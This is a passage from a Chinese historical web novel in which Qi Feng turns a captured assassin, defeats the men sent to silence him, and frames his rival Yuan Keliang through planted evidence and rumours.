被绑在木椅上的黑衣**满身血痕,衣衫被鞭子抽得破烂,胸前和手臂上尽是纵横交错的伤口,血迹干涸,显得触目惊心。
富贵站在一旁,咧嘴笑着,手中提着一根皮鞭,粗声道:“嘿,兄弟,你这骨头还挺硬,挨了这么多鞭子,愣是没吭一声!”
**别过头,咬牙冷笑:“齐枫,别白费力气了!有本事直接杀了我,否则我一个字都不会说!”
他的眼中满是怨毒,嘴角挂着一抹不屑,显然是早已将生死置之度外。
齐枫缓步走进厢房,笑得从容不迫:“杀你?那多没意思。”
他停下脚步,目光扫过**满身的伤痕:“我今日不打算让你开口,只想跟你打个赌。”
**闻言一愣,眼中闪过一丝疑惑,皱眉道:“赌?赌什么?”
齐枫笑眯眯地蹲下身,与**平视,缓缓道:“我赌袁克良下一步的动作。你说
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,他是会派人来救你,还是……直接杀了你,免得你坏了他的事?”
**脸色一变,眼中闪过一丝慌乱,但很快被他强压下去,冷笑道:“哼,齐枫,你休想动摇我!袁大少对我有恩,我为他卖命,天经地义!他绝不会弃我不管!”
齐枫哈哈一笑,站起身,慢悠悠道:“有恩?你这忠心可真是感天动地。可惜啊,袁克良那人,心狠手辣,你不过是他手里的一把刀,用完了就扔。你想想,他派你去杀张大牛夫妇,给了你多少银子?”
“五十两?一百两?可你落在我手里,他却连个风声都没放,像是生怕别人知道你是他的人。你说,他是真把你当心腹,还是拿你当个可有可无的棋子?”
**咬牙,眼中闪过一丝动摇,但仍硬声道:“少废话!袁大少自有他的打算,你这点攻心之术,对我没用!”
齐枫不以为意,笑得更加从容:“没用?那咱们不妨再想想。你为袁克良卖命,出生入死,可他呢?锦绣阁开张,他眼红我的生意,派你去搞乱子,结果你失手被抓,他却连个救你的计划都没有。”
“反过来,我放了张大牛夫妇,还给了银子治病,府城上下都夸我仁义。你说,袁克良要是真把你当回事,会让你落到这地步?兄弟,睁开眼看看吧,你这条命,在他眼里,怕是连五十两都不值。”
**的脸色越发难看,眼中闪过一丝挣扎。
他低头,目光落在身上的血痕上,脑海中不由得浮现袁克良那阴冷的笑脸。
他想起自己为袁氏出生入死,换来的却是如今的处境,心头的不甘如潮水般涌起。
他咬牙道:“齐枫,你休想让我背叛袁大少!”
齐枫耸了耸肩,笑眯眯道:“背叛?不不不,我没让你背叛,我只想跟你打个赌。若袁克良今晚派人来救你,我放你走,绝不食言。可若他派人来杀你,那你可得好好想想,值不值得为他送命。”
他顿了顿,目光一寒:“我猜,他八成会选后者。你信不信?”
第一百五十二章 打赌
**闻言,瞳孔猛地一缩,心头如遭重击。
他想起袁克良平日的冷酷,想起自己被派去执行那些见不得光的任务,心中的信念开始动摇。
他咬紧牙关,额头渗出冷汗:“好……我跟你赌!”
齐枫走出厢房,步入锦绣阁后院,夜风微凉。
富贵大步跟在他身后,脸上带着几分疑惑:“少爷,你真觉得袁克良会来救那**?若他真派人来救,你当真放那家伙走?”
齐枫停下脚步,转身看向富贵,嘴角勾起一抹戏谑的笑意:“当然,言出必行。我齐枫说出口的话,什么时候食言过?”
他顿了顿,目光微眯:“不过,富贵,你觉得那**为何肯跟我赌?他的心已经松了。忠诚这东西,一旦有了裂缝,就再也补不回来。袁克良派他来送死,他心里早就不甘了。”
富贵挠了挠头,咧嘴道:“我瞧那**嘴硬,可眼底那点慌乱,瞒不过我!可万一袁克良真派人来救他呢?咱们就这么放了,亏不亏?”
齐枫哈哈一笑,拍了拍富贵的肩膀,慢悠悠道:“袁克良那人,心狠手辣,哪会为了一个棋子冒险?我说放人,不过是给那**一点念想,让他彻底看清袁克良的嘴脸。我敢断言,今晚来的,绝不是救兵,而是要他命的刀子!”
富贵瞪大眼睛,粗声道:“这狐狸真够毒的!可他就不怕咱们抓到把柄?”
齐枫笑了“怕?袁克良当然怕,但他更怕那**招供。咱们扣下那**,等于捏了他的软肋。他今晚若不行动,明天这事传出去,他袁氏在府城的脸面可就丢尽了!所以,他只能赌一把,派人来**灭口,试图把这事压下去。”
他顿了顿,目光扫过夜色中的后院:“富贵,你今晚守好这院子,别让那些老鼠跑了。咱们就等着看袁克良自己跳进坑里!”
富贵嘿嘿一笑,拍着胸脯道:“少爷放心!有我富贵爷爷在这,来的老鼠一个也跑不了!我倒要看看,袁克良派来的都是些什么货色!”
他眼中闪过一丝兴奋,握紧了手中的皮鞭,已经迫不及待要大干一场。
齐枫点头,叮嘱道:“记住,别打草惊蛇。让他们进来,再瓮中捉鳖。咱们的人都安排好了,后院四周的暗哨一个都不能松懈。”
富贵抱拳:“得令!少爷,你就瞧好吧!”
他转身,大步走向后院深处,魁梧的身形很快融入夜色,只留下一阵低沉的笑声。
齐枫站在原地,目光扫过夜空,嘴角的笑意越发深邃。
“袁克良,这局棋,你可得好好陪我下完。”
夜深人静,府城的街巷早已沉寂,只有打更人的梆子声从远处传来,悠长单调。
锦绣阁后院的厢房内,昏黄的油灯依旧摇曳,被绑在木椅上的黑衣**低垂着头,气息微弱,身上鞭痕累累,血迹干涸,显得狼狈不堪。
他时不时抬起头,目光扫向紧闭的门窗,眼中带着几分期待,不安。
突然,窗外传来一阵轻微的响动,像是夜风吹过,却又带着几分不自然的窸窣。
很明显是有人来了!
**猛地抬头:“谁?可是袁大少派来救我的?”
话音未落,窗棂“吱呀”一声被推开,三道黑影如鬼魅般跃入厢房,落地无声,动作迅捷。
他们的脸蒙着黑布,只露出一双冷厉的眼睛,手中的**在月光下泛着寒光。
领头的蒙面人身形瘦小,声音嘶哑:“救你?你**,比活着对大少更有用。”
他一步上前,**直指**的胸口,毫不犹豫地刺下。
**瞳孔猛缩,眼中闪过一丝绝望,嘶吼道:“你们……袁大少竟要杀我?!”
就在**即将刺入他胸口之际,一抹寒光从黑暗中飞出,带着尖锐的破风声,精准地打在蒙面人的手腕上。
**应声落地,蒙面人闷哼一声,手腕已被洞穿,鲜血汩汩流出。
他猛地抬头,只听一声粗犷的笑声从门外传来:“嘿,爷爷等你们半宿了,总算落实了!”
富贵大步踏入厢房,手持一柄短**,眼中满是戏谑。
他的气势如山,手中皮鞭一抖,带起一阵呼啸风声,直抽向那领头的蒙面人。
蒙面人反应极快,侧身避开,拔出腰间另一把**,反手撩向富贵的咽喉,刀光在昏暗中划出一道寒芒。
富贵哈哈一笑,身子灵活得像头豹子,猛地矮身,避过刀锋,右拳如炮弹出,狠狠
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砸向蒙面人的胸口。
蒙面人闷哼一声,踉跄后退,胸口一阵剧痛,险些吐血。
其他两名蒙面人见状,齐齐扑上,一人挥刀斩向富贵的腰侧,另一人则绕到他身后,**直刺后心,配合默契,招招狠辣。
富贵冷哼,脚下一踏,身形如陀螺般旋起,皮鞭如灵蛇出洞,狠狠抽在左侧蒙面人的手臂上,鞭梢带起一片血花。
那蒙面人痛呼一声,刀势一偏,露出一丝破绽。
富贵趁势欺身而上,左掌拍出,掌风如山,震得那人刀锋脱手,整个人跌出数步,撞在墙上。
身后的蒙面人趁机刺来,**直指富贵的后颈,刀尖已近在咫尺。
富贵头也不回,右脚猛地后踢,精准地踹在那人膝盖上,咔嚓一声,骨裂声清晰可闻。
蒙面人惨叫着摔倒,**掉落,捂着膝盖在地上打滚。
领头的蒙面人眼中闪过一丝狠色,双手握刀,猛地跃起,刀锋直劈富贵头顶,势如雷霆!
富贵冷笑,皮鞭一甩,鞭梢如毒蛇缠上刀锋,猛地一扯,刀势被带偏,擦着他的肩头划过,割破衣衫,却未伤及皮肉。
他趁势上前,右拳如流星,狠狠砸在蒙面人胸口,骨裂声伴随着闷哼响起,那人跌出数步,嘴角渗出鲜血。
厢房内尘土飞扬,刀光鞭影交错,富贵的拳头如铁锤,每一击都带起呼呼风声,三名蒙面人虽武艺不俗,却渐渐落了下风。
富贵哈哈大笑,声音如雷:“就这点本事,也敢来爷爷的地盘撒野?看我收拾你们!”
他猛地一鞭抽出,鞭梢精准地缠住最后一名蒙面人的脚踝,用力一扯,那人扑通摔倒,被他一脚踩住胸口,再也动弹不得。
片刻后,三名蒙面人全被制服,捆得结结实实,扔在厢房角落。
火把被点亮,昏黄的光芒照亮了满地狼藉。
被绑在木椅上的**瞪大眼睛,眼中满是震惊,不甘,嘴唇颤抖,似乎还无法接受袁克良派人来杀他的事实。
齐枫缓步走进厢房,笑眯眯地走到那**面前,目光扫过他苍白的脸庞,慢悠悠道:“怎么样,兄弟?我赌赢了,袁克良果然派人来杀你灭口。现在,你还有什么话说?”
第一百五十三章 人心如棋
黑衣**瞪大眼睛,咬紧牙关,额角冷汗滑落,声音嘶哑地挤出几个字:“齐枫……我该怎么办?”
齐枫笑眯眯地蹲下身,与**平视:“忠心耿耿的确令人敬佩。可惜,若这忠心给了不该给的人,对你自己而言,可就太不值了。”
他顿了顿,目光如刀,直刺**心底,“袁克良派人杀你灭口,你还觉得他值得你卖命?”
**喉头滚动,眼中挣扎更甚。
他想起自己为袁氏出生入死,换来的却是今晚的背叛,心中的信念如崩塌的城墙,轰然倒塌。
“你说吧,要我做什么?”
齐枫嘴角勾起一抹意味深长的笑意,站起身,朝富贵使了个眼色:“富贵,先把这位兄弟松绑,带下去休息休息,好好招待。吃了这么多苦,给他点甜头尝尝。”
富贵咧嘴一笑,粗声道:“得令!少爷放心,这家伙我来伺候!”
他上前,三两下解开**身上的绳索,扶着他站起,半拖半拉地带出厢房,临走前还不忘回头朝齐枫挤了个眼。
“少爷,您这招可真狠!这家伙怕是得被您吓破胆了!”
厢房内只剩三名蒙面**,眼神惊疑不定,彼此对视,想从对方眼中找到一丝底气,却只看到更多的不安。
齐枫目光扫过他们,慢悠悠道:“富贵,剩下这三位怎么处理,你说说看?”
富贵折返回来,皮鞭在掌心拍了拍,嘿嘿笑道:“少爷,这仨家伙嘴硬得很,估计跟那家伙一样,都是袁克良的死忠。要我说,先关起来,好好伺候一番,看他们招不招!”
齐枫摆了摆手,笑得从容:“不急,富贵。人心都是肉长的,袁克良能派他们来**灭口,说明他们在他眼里,也不过是一次性的刀子。咱们何必急着动手?”
他顿了顿,目光扫过三名**:“给他们同样的待遇,若他们愿意配合,帮我做事,自然能像那位兄弟一样,吃香喝辣。若是不愿意……皮肉之苦,怕是免不了。”
三名**闻言,身子齐齐一颤,眼中闪过一丝恐惧。
他们虽是袁氏的死士,但今晚的遭遇已让他们的忠诚出现裂痕。
领头的蒙面人咬牙道:“齐枫,你休想让我们背叛大少爷!”
齐枫不以为意,笑道:“背叛?这话说得重了。我从不逼人做事,只给你们一个选择的机会。富贵,带下去,好好看管,别亏待了他们。”
富贵哈哈一笑,拍着胸脯:“放心,少爷!我这地牢,保管让他们舒舒服服!”
他大手一挥,叫来几名锦绣阁的护卫,将三名蒙面**押了下去。
**们挣扎了几下,但被绳索捆得死死的,只能发出几声咒骂,很快消失在厢房外。
厢房内恢复寂静,油灯的光芒微微摇曳。
就在此时,一道青衫身影从黑暗中缓缓走出,正是楚清秋。
她目光依旧清冷如水,带着几分复杂的情绪,静静注视着齐枫。
富贵挠了挠头,忍不住问道:“少爷,这仨**接下来会怎么样?您真打算让他们跟那第一个家伙一样,招供?”
齐枫笑眯眯地靠在椅背上,慢悠悠道:“富贵,你急什么?人心这东西,最怕的就是动摇。今晚的事,已经在他们心里种了颗种子。袁克良派他们来**灭口,摆明了把他们当弃子。这份恩情,他们迟早会好好回味。”
他目光扫过楚清秋,嘴角笑意更深:“咱们不急,先把他们关着,让他们好好想想。明天,等那位兄弟恢复得差不多了,我再让他在仨**面前晃一圈,不经意透点口风,说他已经投靠了我,日子过得滋润得很。你说,这仨人还能坐得住?”
富贵瞪大眼睛,粗声道:“少爷,您这招也太损了!这不摆明了拿他们当猴耍?到时候,他们一看那家伙吃香喝辣,自己却在牢里受苦,怕是得抢着投靠您!”
楚清秋闻言,眼中闪过一丝震撼,忍不住开
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口:“少爷,你这手段当真妖孽得可怕。人心如棋,你却能将每一步算得如此精准,简直让人胆寒。”
她说到这里,目光复杂地注视着齐枫。
身为乾朝女帝,她曾统御千军,见过无数权谋算计,但齐枫这轻描淡写间操控人心的本事,依旧让她心生敬畏。
齐枫在她心中的形象越发深不可测,仿佛一团迷雾。
齐枫哈哈一笑,摆手道:“青禾,过奖了。人心这东西,说复杂也复杂,说简单也简单。只要抓准他们的软肋,轻轻一推,他们自己就会跳进坑里。”
他目光一寒:“袁克良以为派几个**就能翻盘,可惜,他太小看我了。”
富贵在一旁听得五体投地,咧嘴道:“少爷,您这脑子,简直不是人!不,简直是神!袁克良那家伙,怕是做梦都想不到,他派来的**,全被您**于股掌之间!”
楚清秋深吸一口气,目光柔和了几分,问道:“少爷,你既布下这局,想必不只是要这些**的口供吧?你下一步,打算如何对付袁克良?”
齐枫眼中闪过一丝精光:“青禾,你说得对。这些**的口供,不过是小打小闹,对袁克良来说,无关痛痒。咱们要动手,就得一击致命,直接让他袁氏在府城翻不了身!”
楚清秋柳眉微挑,眼中闪过一丝好奇:“少爷,你的意思是?”
齐枫慢悠悠地站起身:“袁克良心狠手辣,却也急功近利。今晚的**失手,他必定坐不住,接下来还会再派人,甚至可能亲自出手。咱们要做的,就是给他这个机会,让他自己跳进更大的坑里。”
富贵挠了挠头,忍不住问道:“少爷,您这计划听着玄乎,到底怎么弄?”
齐枫嘴角勾起一抹冷笑,缓缓道:“计划很简单,利用这几个**,放出风声,就说锦绣阁抓到的**已经招供,吐露了袁氏与清风阁勾结的秘密,但口供还不完整,还差关键证据!”
第一百五十四章 妖孽!
齐枫继续道:“袁克良一听,必定心急如焚,害怕咱们真抓住他的把柄。到时候,他要么派更多人来**灭口,要么亲自出面,想办法从咱们手里抢人。”
“咱们就给他这个机会,在锦绣阁外布下天罗地网,假装防守松懈,引他上钩,若他派人来,咱们一网打尽,抓住活口,当场对质。”
“若他亲自出面,那就更好,直接把他按在府衙,逼他交出清风阁和官盐案的全部内幕!”
楚清秋闻言,眼中闪过一丝震撼,喃喃道:“少爷,你这计划环环相扣,简直滴水不漏。袁克良若真上钩,怕是连翻身的机会都没有。”
富贵也瞪大眼睛,忍不住打了个寒战:“袁克良要是知道自己被您算计成这样,怕是要气得吐血三升!”
齐枫笑眯眯道:“人手不用多,精干就行。富贵,你和锦绣阁的护卫负责外围埋伏,装作疏忽大意,让袁克良的人以为有机可乘。青禾,你负责看守那几个**,确保他们没法通风报信。至于我,会亲自在锦绣阁坐镇,放出风声,引袁克良上钩。”
他顿了顿,目光扫过二人:“袁克良这人,最怕丢脸。他在府城经营多年,根基深厚,却也最在乎名声,到时候,他要么铤而走险,要么龟缩不出,咱们都能占尽先机!”
楚清秋与富贵对视一眼,眼中满是震撼。
齐枫的计划不仅利用了**的心理,还精准拿捏了袁克良的性格弱点,环环相扣,步步为营,仿佛一局精心设计的棋局,让对手无路可逃。
楚清秋心头泛起一阵鸡皮疙瘩,暗道:“此人谋略之深,简直妖孽!若他生在乾朝,怕是能翻手为云覆手为雨!”
楚清秋顿了顿,又问道:“少爷,即便袁克良真带人来**灭口,凭这些罪名,以袁氏在府城的根基,顶多不过责罚一番,怕是伤不了他的根本。”
齐枫闻言,哈哈一笑:“青禾,你说得不错。袁氏在府城根深蒂固,背后还有萧无痕撑腰,区区**灭口的罪名,确实奈何不了他。想当初,张韬买通黑风寨对我下手,不也只是挨了几板子,便不了了之?更何况袁克良?”
“不过,咱们要的,不是小打小闹的责罚,而是要让袁克良彻底翻不了身,最好让他被逐出府城,永无立足之地!”
富贵瞪大眼睛,挠了挠头,粗声道:“少爷,话是这么说,可要什么罪名才能大到这地步?袁克良再怎么嚣张也不至于这么蠢吧,寻常罪名,怕是连他的皮都蹭不破!”
楚清秋柳眉微挑,接话道:“少爷,你可是想到了什么?莫非……”
她眼中闪过一丝精光:“你是想利用萧无痕来府城的目的?”
齐枫点了点头:“青禾果然聪慧。萧无痕为何来到府城?不正是为了追查龙佩和乾朝余孽的下落?这是朝廷的头等大事,萧无痕身为锦衣卫指挥使,肩负皇命,容不得半点马虎。”
富贵一愣,皱眉道:“少爷,您的意思我明白,可袁克良再怎么大胆,怕是也不至于跟龙佩和乾朝余孽扯上关系吧?那可是抄家灭族的罪名,他哪来的胆子?”
齐枫折扇一展:“富贵,你说得不错,袁克良自然没那胆子真去勾结乾朝余孽,也没机会染指龙佩。可咱们要的,不是他真与这些事有关,而是让所有人相信他与这些事脱不了干系!”
楚清秋眼睛一亮:“少爷,你是想栽赃袁克良?”
齐枫摆了摆手,笑眯眯道:“青禾,这话可说得难听了些。栽赃?不不不,这叫以彼之道,还治彼之身。袁克良不是喜欢玩阴的吗?第一次买通阿福,栽赃青禾与城郊命案有关,第二次在锦绣阁开业时,又派**搞乱子,想毁我名声。来而不往非礼也,他既喜欢玩这套把戏,咱们就陪他玩一局大的!”
富贵拍手叫绝:“袁克良那家伙,三番两次想害
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咱们,这回咱们给他来个狠的,让他尝尝被冤枉的滋味!可怎么做才能让所有人相信袁克良跟龙佩和乾朝余孽有勾连?”
齐枫目光微眯,缓缓起身,背手踱步:“计划很简单,分三步走。第一步,利用咱们扣下的这几个**,放出风声,就说他们招供,称袁克良暗中勾结乾朝余孽,意图盗取龙佩,扰乱府城。这风声不必太真,只需传遍府城!”
他顿了顿,继续道:“第二步,咱们在锦绣阁后院故意露出破绽,假装看守不严,让袁克良以为有机可乘,派更多人来**灭口,咱们早已布下埋伏,将来人一网打尽,当场抓住活口。关键是,抓住的人里,必须有一个不小心带上一块仿制的龙佩信物,这信物我会找人打造!”
楚清秋闻言,眼中闪过一丝震撼,忍不住道:“少爷,你这计划当真滴水不漏。仿制龙佩信物,足以让萧无痕相信袁克良与乾朝余孽有染,可这信物如何确保不被识破?”
齐枫笑眯眯道:“青禾,信物真假不重要,重要的是为什么会有假信物在袁克良的人身上?要知道,普通人可根本不知道龙佩长什么样。”
富贵咧嘴一笑,眼中满是兴奋:“袁克良派人来**灭口,结果人被咱们抓了,还带上了龙佩信物,这罪名可就坐实了!悠悠众口,即便是袁家也没办法!”
齐枫点了点头,目光一寒:“不错,萧无痕追查龙佩和乾朝余孽,早已如履薄冰。他若抓到这等证据,还放过袁克良,那可就耐人寻味了,咱们再推波助澜,找人散布流言,说袁氏暗中资助余孽,图谋不轨。到时候,府城上下群情激奋,袁克良便是百口莫辩!”
他笑了笑:“第三步,也是最关键的一步。咱们得让赵大人和卢大人站出来公开质疑袁氏,他们顺势施压,逼袁克良交待。到时候,袁氏就算不被抄家灭族,也得被逐出府城,永无翻身之日!”
第一百五十五章 流言四起
楚清秋深吸一口气:“袁克良若真中计,怕是连还手的机会都没有,这一计,足以将袁氏碾得粉碎!”
富贵也听得目瞪口呆,忍不住打了个寒战:“袁克良这回,怕是要被您玩得底朝天!我估摸着,他今晚得知**失手,怕是得气得睡不着觉了!”
齐枫哈哈一笑,大手一挥:“行了,计划已定,咱们也该回去好好睡一觉,养足精神,明天看袁克良的好戏!”
楚清秋看着齐枫的背影,只诞生出一个念头。
“此人若为敌,怕是无人能挡,若为友,复国大业或许真有希望!”
与此同时,府城另一端的袁氏府邸内,气氛却如乌云压顶,沉重得让人窒息。
袁克良坐在太师椅上,面色阴鸷,手中的茶盏早已凉透。
袁浩然站在一旁,眉头紧锁,眼中满是不安。
厅外,夜色深沉,打更人的梆子声远远传来,悠长单调,敲响了五更天的信号。
袁克良猛地抬头,目光如刀:“五更了,那些人还没回来?难不成又失败了?”
袁浩然皱眉,沉声道:“大哥,不应该吧?咱们派去的可是最顶尖的死士,个个身手不凡,怎会失手?再等等,或许他们正在路上。”
袁克良冷哼一声,眼中闪过一丝戾气:“再等?再等下去,天都亮了!”
他猛地站起身,目光扫过空荡荡的大厅,胸中怒火如潮水般涌起。
他咬牙切齿,猛地将手中的茶盏砸向地面,碎片四溅,发出清脆的响声。
他怒吼道:“齐枫!又是你这混账,坏我好事!”
袁浩然眼中闪过一丝不安:“大哥,咱们现在该怎么办?”
袁克良眯起眼睛,缓缓坐下:“怎么办?齐枫这小子扣下人却不声张,分明是想引咱们露面。现在贸然行动,无异于自投罗网。”
“暂且按兵不动,静观其变,看看齐枫葫芦里卖的什么药,再做决定。”
袁浩然皱眉,欲言又止,最终点了点头:“大哥说得是。齐枫这人,心机太深,咱们得小心应对。”
他抱拳,转身退出大厅,留下袁克良一人,目光阴鸷地盯着烛火。
两天后,府城的街头巷尾,酒肆茶楼,热闹非凡。
百姓们三五成群,议论纷纷,话题无一例外地围绕着袁克良与齐枫的恩怨。
一间临街的茶肆内,几位布衣老者围坐在桌旁,端着茶盏,热烈讨论。
“你听说了吗?袁克良派人刺杀齐枫,齐公子可是春闱榜首,才华无双!结果那几个**失手,全被齐枫抓了!”一个老者压低声音,眼中满是惊叹。
旁边的中年汉子接话,啧啧称奇:“可不是!听说锦绣阁的护卫厉害得很,袁克良派去的死士一个都没跑掉!更离奇的是,那些**被审了一番,竟吐出个惊天大秘密!”
“什么秘密?”另一个年轻书生凑过来,好奇地问道。
老者神秘一笑,压低声音:“听说袁克良跟前朝乾国余孽有勾结,还染指了龙佩!正是因为齐枫才华出众,怕他将来中状元,为朝廷效力,威胁到袁氏的地位,所以袁克良才处心积虑要除掉他!”
书生瞪大眼睛,拍案道:“原来如此!难怪袁克良三番两次针对齐公子,锦绣阁开张时就派人捣乱,这回还直接派**,摆明了心虚!若齐枫真中了状元,怕是能查出袁氏的阴谋!”
中年汉子点头,叹道:“可不是吗?袁克良这人心狠手辣,偏偏还装出一副正人君子的模样。齐枫仁义无双,锦绣阁的生意红火,府城上下谁不夸他?袁克良眼红,怕是要急红了眼!”
类似的议论在府城各处发酵,酒肆,茶楼,街头巷尾,无不流传着袁克良勾结乾朝余孽,谋夺龙佩的流言。
百姓们越说越离奇,有人称亲眼见过袁氏府邸夜半有神秘人出入,有人信誓旦旦地说袁克良藏了龙佩,意图谋反。
流言如野火般蔓延,短短两日,便在府城掀起轩然大
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波。
同时,醉月楼二楼的一间雅间内,气氛却轻松了许多。
齐枫端坐在主位,笑眯眯地与周子陵,陈玉堂等几位好友对饮。
雅间内檀香袅袅,桌上摆满了珍馐佳肴,酒香四溢。
周子陵举杯,哈哈一笑:“齐兄,你这回可真是一鸣惊人!袁克良派**刺杀你,结果偷鸡不成蚀把米,**全被你抓了,还抖出他勾结乾朝余孽的大秘密!如今府城上下都在传,袁氏怕是要坐不住了!”
陈玉堂一袭青衫,文质彬彬,接话道:“可不是!齐兄的锦绣阁如今风头无两,仁义之名传遍府城。袁克良这回算是踢到铁板了!听说萧无痕已经派人去袁氏府邸查探,怕是要给袁克良好看!”
齐枫摆了摆手:“两位兄台谬赞了。袁克良这人,心急火燎,派**来锦绣阁捣乱,哪想到我早有防备?至于那什么惊天秘密,不过是些捕风捉影的传言罢了。真假如何,还得看萧大人怎么查。”
周子陵挑眉:“齐兄,你就别谦虚了!这流言来得蹊跷,偏偏句句戳中袁克良的软肋,我看八成是你布的局!袁克良这回,怕是要被你玩得团团转!”
陈玉堂也点头,笑道:“周兄说得是,齐兄的才智,府城无人能及。袁克良三番两次针对你,先是买通阿福栽赃青禾姑娘,又派**捣乱锦绣阁,如今这流言一出,他再想翻身,怕是难了!”
齐枫笑眯眯道:“两位兄台抬举了。我不过是顺水推舟,袁克良自己心虚,派人来**灭口,落了把柄在我手里。如今流言四起,他若沉不住气,必定会再出手。到时候,咱们只管看戏便是。”
周子陵哈哈一笑,举杯道:“齐兄高明!来,敬你一杯!祝你早日中状元,扬名天下,让袁克良那家伙彻底灰头土脸!”
陈玉堂也举杯附和:“说得好!齐兄才华无双,状元之位,舍你其谁?!”
三人相视一笑,举杯痛饮,雅间内笑声不断。
第一百五十六章 流言如猛虎
南宫玥坐在齐枫身旁,柔声道:“齐郎,这流言虽是你推波助澜,可袁克良背后有萧无痕撑腰,你可得小心些,莫让他狗急跳墙。”
齐枫拍了拍她的手,笑得从容:“月儿放心,袁克良这人,最怕丢脸。如今流言满城,他便是想压下去,也得掂量掂量萧无痕的态度。我料他不敢轻举妄动,只会越陷越深。”
陈玉堂点头道:“齐兄说得有理。萧无痕追查龙佩和乾朝余孽,责任重大,容不得半点马虎。袁克良若真被扣上这顶帽子,便是有十张嘴也说不清!”
周子陵哈哈一笑:“正是!齐兄这一手借刀**,玩得妙极!”
几人正谈笑间,雅间的门被轻轻推开,楚清秋一袭青衫,带着面纱走了进来。
她目光扫过众人,微微颔首:“少爷,锦绣阁那边一切正常,护卫们已按您的吩咐,加强了戒备。”
齐枫点了点头,笑道:“青禾,做得好。你也坐下,陪咱们喝一杯。”
他目光扫过众人,“诸位,袁克良这局棋,已经走到死路,咱们只管静观其变,看他如何自取灭亡!”
众人齐声称是,举杯畅饮。
袁氏府邸内,气氛却如冰窖般冷寂,袁克良端坐在太师椅上,面色铁青,额头青筋暴起,袁浩然站在一旁,手中捏着一封书信,眉头紧锁,眼中满是忧色。
大厅中央,一袭红衣的萧无痕端坐主位,手中展开一封奏折,缓缓扫过袁克良。
萧无痕冷冷道:“袁公子,府城如今流言四起,说你勾结乾朝余孽,谋夺龙佩。本官奉皇命追查此事,绝不容半点马虎。你可有何话说?”
袁克良猛地抬头,额头冷汗滑落,强自镇定道:“萧大人,这都是假的!分明是齐枫那小子恶意栽赃,挑拨离间!本少爷对朝廷忠心耿耿,怎会与乾朝余孽有染?还望大人明察!”
袁克良继续拱手道:“天地可鉴,这一切都是子虚乌有!齐枫那小子心机深沉,故意散布流言,栽赃陷害我袁氏!至于龙佩更是从未见过!这些流言,分明是齐枫为毁我袁氏在府城的根基!”
萧无痕目光微眯,缓缓起身,手指轻抚刀柄:“袁公子,本官自然相信你不会做出如此愚蠢之事。勾结乾朝余孽,谋夺龙佩,这等罪名,非同小可,袁氏在府城经营多年,根基深厚,你若真有此心,断不会如此明目张胆。”
袁克良闻言,松了一口气,刚要开口,却听萧无痕话锋一转,声音多了几分寒意:“然而,袁公子,本官相信你并无用。如今府城上下,街头巷尾,酒肆茶楼,皆在议论你与乾朝余孽的勾连,甚至言之凿凿,说你手中藏有龙佩。百姓的口舌,如洪水猛兽,若不及时平息,怕是连本官也压不住。”
他顿了顿,目光如刀,直刺袁克良:“本官奉皇命而来,职责所在,容不得半点闪失。你如今最要紧的,不是让本官相信你的清白,而是让府城百姓相信,你与此事毫无干系。否则,这流言愈演愈烈,袁氏的声誉,怕是要毁于一旦。”
袁克良脸色一变,额头冷汗更甚,咬牙道:“萧大人,您说得极是。可这流言,分明是齐枫一手操控!他扣下我派去的**,故意放出风声,编造什么龙佩和余孽的罪名,就是要逼我袁氏无路可走!还请大人出面,彻查此事,还我清白!”
萧无痕冷哼一声,缓缓摇头:“袁公子,彻查之事,本官自会去做。但你须明白,流言已成燎原之势,单凭本官之力,难以扭转。你若想平息此事,需尽快拿出证据,证明自己与乾朝余孽、龙佩毫无瓜葛。否则,百姓的怒火,迟早会烧到袁氏头上!”
他顿了顿,目光扫过袁克良,多了几分意味深长:“袁公子,齐枫此人,的确狡猾,他借锦绣阁的仁义之名,收买人心,又利用**的招供,将你推到风口浪尖。你若再不行动,怕是连赵明德和卢正淳也会对
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你生疑。届时,袁氏在府城的根基,岌岌可危。”
袁克良闻言,心头一震,眼中闪过一丝不甘。
他紧握拳头,强压怒火道:“萧大人,您的意思,袁某明白了。我定会想办法,证明自己的清白,绝不让齐枫那小子得逞!”
萧无痕点了点头,目光微敛:“如此最好。袁公子,本官还有公务在身,今日就先告辞。你好自为之,尽快平息流言,莫让本官为难。”
他起身,提起圆月弯刀,缓步走向大厅门口,红衣如血般刺眼。
袁克良连忙起身,拱手道:“萧大人慢走!袁某定不负大人期望,尽快洗清冤屈!”
萧无痕头也不回,很快消失在大厅外。
袁浩然站在一旁,目送萧无痕离开,眉头紧锁:“大哥,萧大人虽说相信咱们,可这流言愈演愈烈,怕是连他也压不住。咱们接下来该怎么办?”
袁克良猛地坐下,眼中戾气翻涌,咬牙切齿道:“还能怎么办?齐枫这小子,步步紧逼,扣下那几个**,故意放出风声,就是要置我于死地!如今流言满城,百姓都信我勾结乾朝余孽,我若不反击,袁氏的百年基业,怕是要毁于一旦!”
袁浩然皱眉,沉声道:“大哥,那些**如今在齐枫手里,若他们真招供了,咱们的麻烦就大了。齐枫那小子狡猾得很,定不会轻易让咱们杀了他们灭口。咱们该如何是好?”
袁克良冷笑一声,眼中闪过一丝狠色:“灭口?齐枫的确不会让咱们轻易得手。可那些**一日不死,就是我心头之患!就算这龙佩和余孽的罪名是齐枫栽赃,可若那几个**被他蛊惑,胡乱攀咬,袁氏一样脱不了干系!”
他顿了顿,目光阴冷,缓缓道:“浩然,你说得对,齐枫不会轻易让咱们杀了那几个**,但这事,拖不得!无论如何,那几个**必须死!就算这罪名是假的,可只要他们活着,就是个隐患!”
第一百五十七章 铤而走险
袁浩然一愣,眼中闪过一丝不安:“大哥,你的意思是……咱们再派人去锦绣阁?可齐枫那边,怕是早已布下天罗地网,咱们的人去了,十有**又要失手!”
袁克良猛地一拍桌子,茶盏应声落地,碎片四溅。
他咬牙切齿,眼中满是决然:“派人?这回,我不信任何人!既然齐枫如此咄咄逼人,那我袁克良就亲自出手!我要亲手杀了那几个**,绝不给他们攀咬我的机会!”
袁浩然眉头紧锁道:“大哥,你要亲自出手?咱们总得有个具体的计划吧?”
袁克良冷笑一声,缓缓起身,背手踱步:“浩然,你可知过两日便是府城的秋猎庙会?”
袁浩然一愣,皱眉道:“秋猎庙会?大哥,你是说城郊的那场盛会?听说知府赵明德和按察使卢正淳都会亲自主持,府城上下名流齐聚,热闹非凡。可这跟咱们的事有何关系?”
袁克良嘴角勾起一抹冷笑,目光阴冷:“关系?关系大了!齐枫身为春闱榜首,才华无双,赵明德和卢正淳定会邀他参加这庙会,借机拉拢人心。到时候,他必定盛装出席,带着锦绣阁的护卫,前往城郊的猎场。那可是个绝佳的机会!”
袁浩然眼中一亮,试探道:“大哥,你的意思是……声东击西,调虎离山?”
